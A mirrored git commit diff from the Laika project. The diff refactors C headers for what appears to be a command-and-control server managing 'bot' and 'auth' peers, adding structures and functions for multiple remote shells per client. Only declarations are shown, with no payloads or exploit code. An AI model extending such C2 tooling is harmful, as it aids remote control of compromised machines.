1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-09 01:10:14 +00:00

Shell: minor refactoring, cnc supports mutiple shells per auth clients

- while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time.
	this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID
This commit is contained in:
2022-05-20 14:10:53 -05:00
parent e3f6b76e35
commit 0fdca35f87
8 changed files with 173 additions and 137 deletions

View File

@@ -7,8 +7,6 @@
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_closeAuthShell(struct sLaika_peer *auth);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);

View File

@@ -8,34 +8,44 @@
#include "lpeer.h"
struct sLaika_peerInfo {
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
struct sLaika_cnc *cnc;
long lastPing;
bool completeHandshake;
};
struct sLaika_shellInfo {
struct sLaika_peer *bot;
struct sLaika_peer *auth;
uint32_t botShellID, authShellID;
uint16_t cols, rows;
};
#define BASE_PEERINFO struct sLaika_peerInfo info;
/* these will differ someday */
struct sLaika_botInfo {
BASE_PEERINFO
struct sLaika_peer *shellAuths[LAIKA_MAX_SHELLS]; /* currently connected shells */
};
struct sLaika_authInfo {
BASE_PEERINFO
struct sLaika_peer *shellBot; /* currently connected shell */
uint32_t shellID;
};
#undef BASE_PEERINFO
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData)
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData)
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData)
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth);
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth);
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows);
void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeBotShells(struct sLaika_peer *bot);
void laikaC_closeShells(struct sLaika_peer *peer);
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);